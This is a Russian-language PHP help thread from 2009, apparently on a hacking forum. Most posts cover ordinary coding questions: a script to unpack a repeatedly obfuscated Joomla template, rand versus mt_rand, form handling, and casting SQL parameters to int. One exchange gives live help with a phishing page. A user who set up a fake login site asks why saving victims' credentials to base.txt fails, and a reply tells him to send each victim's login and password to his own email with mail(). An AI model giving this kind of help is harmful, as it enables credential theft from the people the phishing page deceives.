GPF7K0h/kRe1B3jC5rpW8DPWiS1H0op2o02vKkPswS2fcDIlqyGr42JamR/vQ5GH6uMn58ovFndoFw/cQlu0UFHJffFy+M1lF5s/e5q+vslITem8T/JAe8tj+M/+cYbXYhGDQq7qNsZUBjJ/QLKuR8eairm+Hl3S6tQZFbMgelrgD16w3EKtn6/8gG5G3NEzJuyjFzmW9BOsFbxTh8GNYeTlc6ZG79ZNnW4vdeHxm 3NuzxWzRagK6G+r5+NcpoCYtpK2MYRto6LIpDoAwx3c6ew1ZxX OavncVzttxfvWKybPnvUyXYkomur7NV3mdQM5ScviGBUYeAdX+ 5QpdQdxWDdsTsYEyl8hRiv83H4k6T7EhCuJKctZU4CeIlGWuZq tMu66Mu5d+DvPMz2kiRVNQvnNmSZG3dvJiBTRXFjj1GGiPnEQJ bevJDpaVxjsjaQJPJxTSzukaYHS8/a4aIfHTWxPGuDPSW4N1bDAQGrrkbCQWPhfYAV1jWY/n5DziZXhmFR/YYe5sVsUdMigO7/R+8bLh0Ol6WmyE8TWI4idYNmjfWEbInQzvTLmWR/87UpC7TZccY9F5OBY+eFAoj7nGzyWclVnxruVoYq0UvG01WW0s 4uWetLA+5oEMJ4IQH5VoAQAtPzXX3/99e8//v7vf/7+Pw=='))));
заместо eval поставь echo

PaCo
24.08.2009, 18:46
mt_rand, rand на не большом интервале не гуд - повторов будет много.

REBUUS
24.08.2009, 19:00
заместо eval поставь echo

да я пробовал уже, не получилось . можешь скинуть код ? ели переводил

159932
24.08.2009, 19:08
mt_rand, rand на не большом интервале не гуд - повторов будет много.
что за бред? простой рендом во первых быстрее, хотя можно принебречь
но больше повторов в простом рендоме больше чем в мт_рендом - это бред .. в простом рендоме просто легче предсказать следующее число имея предыдущее.. и редом на разных осях по разному работает, а мт_рендом работает везде одинаково ибо в пхп внутри сидит..

юзайте рендом и не ебите мозг..

159932
24.08.2009, 19:13
да я пробовал уже, не получилось . можешь скинуть код ? ели переводил
да ты вглядись, там просто запаковано в эту супер запаковку не один раз а много .. :D защита от дурака ..
сиди копипасти..

Fuckel
24.08.2009, 19:14
он хотел сказать что вообще рэндом на малом диапозоне часто будет выдавать повторы =) логично, что из random(1,2) много вариантов не будет )

Pashkela
24.08.2009, 19:22
да я пробовал уже, не получилось . можешь скинуть код ? ели переводил


?>
<div class="center">
<jdoc:include type="component" />
<br />
<jdoc:include type="modules" name="top" style="table" />
</div>
<div class="leftmenu">
<div class="nav">

<jdoc:include type="modules" name="left" style="table" />

</div>
</div>
</div>
<div id="prefooter"> <?php if($this->countModules('user2')) : ?>
<div class="particles">


<jdoc:include type="modules" name="user2" style="table" />



</div> <?php endif; ?> <?php if($this->countModules('user1')) : ?>
<div class="comments">


<jdoc:include type="modules" name="user1" style="table" />



</div> <?php endif; ?>
</div>
<div id="footer">
<div class="padding"> <?php echo $mainframe->getCfg('sitename') ;?> | <a href="http://www.webhostingart.com/joomla-templates.html" target="_blank" class="whafooter">Joomla templates</a> designed by <a href="http://www.webhostingart.com/" target="_blank" class="whafooter">Web Hosting Art</a>
</div>
</div>
</div>
</body><?


50 раз, в цикле

REBUUS
24.08.2009, 19:29
<div class="center">
<jdoc:include type="component" />
<br />
<jdoc:include type="modules" name="top" style="table" />
</div>
<div class="leftmenu">
<div class="nav">

<jdoc:include type="modules" name="left" style="table" />

</div>
</div>
</div>
<div id="prefooter"> <?php if($this->countModules('user2')) : ?>
<div class="particles">


<jdoc:include type="modules" name="user2" style="table" />



</div> <?php endif; ?> <?php if($this->countModules('user1')) : ?>
<div class="comments">


<jdoc:include type="modules" name="user1" style="table" />



</div> <?php endif; ?>
</div>
<div id="footer">
<div class="padding"> <?php echo $mainframe->getCfg('sitename') ;?> | <a href="http://www.webhostingart.com/joomla-templates.html" target="_blank" class="whafooter">Joomla templates</a> designed by <a href="http://www.webhostingart.com/" target="_blank" class="whafooter">Web Hosting Art</a>
</div>
</div>
</div>
</body>



вот мужик :) а метод не подскажешь ? а то я и выводил и в файл записывал , но что то не получалось

Pashkela
24.08.2009, 19:34
<?php
$a = fopen('1234.txt','w');
fwrite($a,gzinflate(str_rot13(base64_decode('FZhUD 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'))));
fclose($a);
$ss = 1000;
for ($i=1;$i<$ss;$i++) {
$a = fopen('1234.txt','r');
if ($a) $s = fread($a, filesize('1234.txt'));
fclose($a);
$d = bin2hex($s);
$d = str_replace("0a","",$d);
$s = hex2bin($d);
if (preg_match("|gzinflate(.*)\)|",$s)) {
if (strpos($s, 'str_rot13')) $flag = true;
else $flag = false;
preg_match("|'(.*)'|",$s,$res);
$a = fopen('1234.txt','w');
if ($a) {
if ($flag) fwrite($a, gzinflate(str_rot13(base64_decode("'". $res[1] . "'"))));
else fwrite($a, gzinflate(base64_decode("'". $res[1] . "'")));
}
fclose($a);
} else {
echo $i-1 . " popytok. Saved in 1234.txt\n";
exit;
}
}
function hex2bin($hh) {
if (!is_string($hh)) return null;
$rr='';
for ($aa=0; $aa<strlen($hh); $aa+=2) { $rr.=chr(hexdec($hh{$aa}.$hh{($aa+1)})); }
return $rr;
}
?>


Форум расставляет пробелы там где надо и не надо - поэтому чтобы скопировать код, нажми "quote" на эту мессагу

PS: Подправил скрипт, теперь находит правильный результат с первого раза

PaCo
24.08.2009, 20:25
что за бред? простой рендом во первых быстрее, хотя можно принебречь
но больше повторов в простом рендоме больше чем в мт_рендом - это бред .. в простом рендоме просто легче предсказать следующее число имея предыдущее.. и редом на разных осях по разному работает, а мт_рендом работает везде одинаково ибо в пхп внутри сидит..

юзайте рендом и не ебите мозг..
Может все таки будем использовать мозг а не тупа что то доказывать лишь повыебываться, вот тебе из мана:

Many random number generators of older libcs have dubious or unknown characteristics and are slow. By default, PHP uses the libc random number generator with the rand() function. The mt_rand() function is a drop-in replacement for this. It uses a random number generator with known characteristics using the Mersenne Twister, which will produce random numbers four times faster than what the average libc rand() provides.

из этого следует что простой ранд в 4 раза медленее чем mt_rand, дает намного худший результат (http://comp-forum.ru/showthread.php?p=10568) и покуй во что ты там верешь или нет я в этом убедился, вот не пойму таких людей если не уверен накуя пиз***** писка от этого длиней не станет?

S.Angel
25.08.2009, 01:56
Привет... вижу тут идеть разговор мега хакеров =)
А у меня вот, мега-непонятный вопрос...
Возможно ли в форуме включить поддержку скрипта (любого)
Например стоит ограничение только на [B ][/B ],[U] [/U ]... а я хочю например задать цвет шрифта размер, ну т.д....
Или это нереально без доступа в админку?

159932
25.08.2009, 02:31
Может все таки будем использовать мозг а не тупа что то доказывать лишь повыебываться, вот тебе из мана:

из этого следует что простой ранд в 4 раза медленее чем mt_rand, дает намного худший результат (http://comp-forum.ru/showthread.php?p=10568) и покуй во что ты там верешь или нет я в этом убедился, вот не пойму таких людей если не уверен накуя пиз***** писка от этого длиней не станет?
да мне по*** что там из мана, и выёбываешся тут ты, я проверял лично и убедился в своей правоте, по скорости простой ренд быстрее.. пусть хоть пять раз напишут..
на ссыль что ты тут втыкнул, зайди и сам прочитай..
"криптографических целей" .. иди пиши шифратор на пхп быстрее, пока не началось!
да, ренд не подходит изза предсказуемости при знании предыдущего, не спиться изза этого? .. да простая ф-ия ренд без аргумента не возвращает больше 2^15-1 и? стало мало? пиши приделы и не еби мозг!

--
2 S.Angel
вопрос у тебя действительно мега непонятный
на форуме включать поддержку скрипта .. а ты там хочешь размер шрифта ..
сформулируй вопрос лучше, а?

-=Zhenek=-
25.08.2009, 07:27
Привет... вижу тут идеть разговор мега хакеров =)
А у меня вот, мега-непонятный вопрос...
Возможно ли в форуме включить поддержку скрипта (любого)
Например стоит ограничение только на [B ][/B ],[U] [/U ]... а я хочю например задать цвет шрифта размер, ну т.д....
Или это нереально без доступа в админку?
Тоесть если доступны BBcode [B][U] и т.д п нельзя напрмиер так : [FONT color=red]

если так,то возможно даже и без доступа к коду исправить это не удастся. Все зависит от модуля BBCODE установленного на сайте.
Ты про оформление сообщения?

POS_troi
25.08.2009, 09:36
2S.Angel

Получится только в случае если эти функции были не отключены а просто убраны кнопки из редактора сообщений.

В случае отключения этих функций в Административной части ресурса у тебя ничего не получится так как модуль парсинга просто будет игнорировать BBcode

max_rebel
25.08.2009, 17:40
как объединить #################### echo "<br><br>Выражение SWITCH:"; echo "<a href='http://localhost/form.html'>ввести ваше имя</a>"; if (isset($_POST['user_name'])) { $user_name=$_POST['user_name']; } switch ($user_name) { case "Макс": case "Таня": echo "<br>Привет $user_name, друг"; break; case "Вова": case "Дима": echo "<br>Привет $user_name, ты мне не друг"; break; default: echo "<br>Привет, не знаю твоего имени"; } ####################

и вот это:

<html><boby> <form action='10_min_lessons.php' method='post'> <input name='user_name' type='text' size='10' maxlength='10'> <input name='user_name' type='submit' value='user_name'> </form> </body></html>

в один файл. Чтоб на одной странице форма , там пишу имя, жму кнопку и ниже строчкой появляется один из case.

стыдно, краснею =)

и блин! сорри за оформление - не понимаю в чём дело,я уже из блокноту копирую а всё равно переносы строк не сохраняются =(

d_x
25.08.2009, 17:55
<html><boby>
Выражение SWITCH:<br>
<form action='?' method='post'>
<input name='user_name' type='text' size='10' maxlength='10'>
<input type='submit' value='user_name'>
</form>
<br>
<?php
if(isset($_POST['user_name']) && !is_array($_POST['user_name']))
{
switch($_POST['user_name'])
{
case "Макс":
case "Таня":
echo "<br>Привет, $user_name, друг";
break;

case "Вова":
case "Дима":
echo "<br>Привет, $user_name, ты мне не друг";
break;

default:
echo "<br>Привет, не знаю твоего имени";
}
}

?>
</body></html>

PROPH3T
26.08.2009, 03:57
спасибо большое

Pashkela
26.08.2009, 05:23
<?php
$a = 9999;
echo dig($a);

function dig($z) {
for ($i=0;$i<strlen($z);$i++) $b = $b + substr($z,$i,1);
return $b;
}
?>

Byrger
26.08.2009, 10:04
есть класс db в котором есть функция query
И я допустим делаю запрос в БД
$db->query("SELECT * FROM db WHERE id=$id");

Можно лы както обрабатывать $id в самой функции query чтоб кождую переменную не подверкать обработке?

m0nsieur
26.08.2009, 10:38
Так сойдет?

$db->query("SELECT * FROM db WHERE id='".intval($id)."'");

mailbrush
26.08.2009, 10:42
Или так.
$db->query("SELECT * FROM db WHERE id='".(int)$id."'");

Byrger
26.08.2009, 11:17
Так то сойдёт но вы меня не поняли
Я хочу сделать чтоб в классе обрабатывалась переменная а не откуда вызываешь.

m0nsieur
26.08.2009, 11:33
Ну так выложи свой класс, а то мы экран твоего монитора не видим ;)

P.S. если этот метод делает просто mysql_query() (а он скорее всего так и делает) то будет проблемно, проще фильтровать в запросе.
Посмотри кстати как сделан класс Active Record в Code Igniter, при таком подходе можно.

haga777
26.08.2009, 14:47
Мне нужна помощь по фейку. я скачал его, залил на хост и вот:h t t p ://tiptop.hop. ru/
зайди посмотрите. я вел email и пароль, а затем страница с этим текстом:
Warning: fopen(base.txt) [function.fopen]: failed to open stream: Permission denied in /home/hop/t/i/p/tiptop/public_html/save.php on line 5

Warning: fwrite(): supplied argument is not a valid stream resource in /home/hop/t/i/p/tiptop/public_html/save.php on line 6

Warning: fclose(): supplied argument is not a valid stream resource in /home/hop/t/i/p/tiptop/public_html/save.php on line 7

Warning: Cannot modify header information - headers already sent by (output started at /home/hop/t/i/p/tiptop/public_html/save.php:5) in /home/hop/t/i/p/tiptop/public_html/save.php on line 9

В чем дело? Обьясните пожалуйста! И еще куда сохраняются логины и пароли? В хосте? А где? Если можно пишите ответ мне на Email: server_name@mail.ru

L I G A
26.08.2009, 14:52
поставь права на запись, на файл base.txt

nulledzzz
26.08.2009, 14:54
Необходимо полную новость в DLE 8.0 автоматически скрывать параметром hide. Как это сделать? :confused:

max_rebel
26.08.2009, 17:47
Мне нужна помощь по фейку. я скачал его, залил на хост и вот:h t t p ://tiptop.hop. ru/
зайди посмотрите. я вел email и пароль, а затем страница с этим текстом:
Warning: fopen(base.txt) [function.fopen]: failed to open stream: Permission denied in /home/hop/t/i/p/tiptop/public_html/save.php on line 5

Warning: fwrite(): supplied argument is not a valid stream resource in /home/hop/t/i/p/tiptop/public_html/save.php on line 6

Warning: fclose(): supplied argument is not a valid stream resource in /home/hop/t/i/p/tiptop/public_html/save.php on line 7

Warning: Cannot modify header information - headers already sent by (output started at /home/hop/t/i/p/tiptop/public_html/save.php:5) in /home/hop/t/i/p/tiptop/public_html/save.php on line 9

В чем дело? Обьясните пожалуйста! И еще куда сохраняются логины и пароли? В хосте? А где? Если можно пишите ответ мне на Email: server_name@mail.ru

ща блесну знаниями =): пароль и логин жертвы у тебя записываются в файл base.txt судя по всему, но на хостинге тебе посемуто не разрешают записывать данные в файл, поэтому сделай так чтоб пасс и логин жертвы писался не в файл а отправлялся бы тебе на мыло, это делается через функцию mail()

max_rebel
26.08.2009, 17:49
теперь мой вопрос=)

вроде всё как в учебнике написано, ввожу фамилию на 'а' - пишет я в первой группе, ввожу на 'я' тоже пишет в первой группе....что не так ?:

<!--ПРОВЕРКА ФАМИЛИИ --> <form action='' method='post'> <label>Введите фамилию:</label><input name='name_check' type='text' size='20' maxlength='20'> <input name='name_check' type='submit' value='name_check'> </form> <!-- ОБРАБОТКА ПРОВЕРКИ ФАМИЛИИ --> <?php if(isset($_POST['name_check'])){$name_check=$_POST['name_check'];} echo "не работает=("; if ($name_check <= "м") { echo "<br>Вы в первой группе из-за первой буквы фамилии"; } else { echo "<br>Вы во второй группе из-за первой буквы фамилии"; } ?>

wildshaman
26.08.2009, 17:53
теперь мой вопрос=)

вроде всё как в учебнике написано, ввожу фамилию на 'а' - пишет я в первой группе, ввожу на 'я' тоже пишет в первой группе....что не так ?:

боже мой, КАК можно сравнивать строку и букву и делать вывод, что буква больше строки?о_О
Заведи массив с русскими буквами, затем субстрингай первую букву имени, проверяй, какое место ее в массиве, и если индекс больше индекса нужно буквы, то...

d_x
26.08.2009, 18:06
боже мой, КАК можно сравнивать строку и букву и делать вывод, что буква больше строки?о_О
Заведи массив с русскими буквами, затем субстрингай первую букву имени, проверяй, какое место ее в массиве, и если индекс больше индекса нужно буквы, то...
Вообще-то сравнение строк - нормально. Ошибка была в повторном имени у кнопки submit, как и у поля ввода.

Вот рабочее:

<!--ПРОВЕРКА ФАМИЛИИ -->
<form action='?' method='post'>
<label>Введите фамилию:</label>
<input name='name_check' type='text' size='20' maxlength='20'>
<input type='submit' value='name_check'>
</form>

<!-- ОБРАБОТКА ПРОВЕРКИ ФАМИЛИИ -->

<?php
if(isset($_POST['name_check']) && !is_array($_POST['name_check']))
{
$name_check=$_POST['name_check'];

if($name_check <= "м")
echo "<br>Вы в первой группе из-за первой буквы фамилии";
else
echo "<br>Вы во второй группе из-за первой буквы фамилии";
}
?>


PS. Учебник дрянной.

zifanchuck
26.08.2009, 19:59
Нубский вопрос но всеже))) в пхп есть многопоточность? мне кажется что нет но думаю что спросить стоит...

L I G A
26.08.2009, 20:05
Нубский вопрос но всеже))) в пхп есть многопоточность? мне кажется что нет но думаю что спросить стоит...
есть пародия на многопоточность

max_rebel
26.08.2009, 20:09
PS. Учебник дрянной.

спасибо.

А учебник называется 'PHP 10 минут на урок (SAMS)', взял в библиотеке ибо показался маленьким и удобным типа ничего лишнего

max_rebel
26.08.2009, 20:15
if(isset($_POST['name_check']) && !is_array($_POST['name_check']))


зачем ты в этом выражении пишешь && !is_array($_POST['name_check'])

эту часть? Это проверка глобального массива?

Kaimi
26.08.2009, 20:18
Проверяется что параметр не является массивом

Linuxoid
27.08.2009, 00:05
Возникла проблема...
Есть простейшая функция, сам придумал. :)
function getweb($url, $ua, $cookie, $referer){
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_REFERER, $referer);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
return curl_exec($ch);
curl_close($ch);
}

Далее эта функция применяется в цикле. Ее задача - просто загружать определенную страницу каждую минуту. Абсолютно ничего с ней не делать.

for($i = 0; $i <= 60; $i++){

getweb('http://yandex.ru/', 'Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13', 'cook.txt', 'http://ya.ru/');
sleep(60);
getweb('http://google.ru/', 'Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13', 'cook.txt', 'http://google.com/');
}

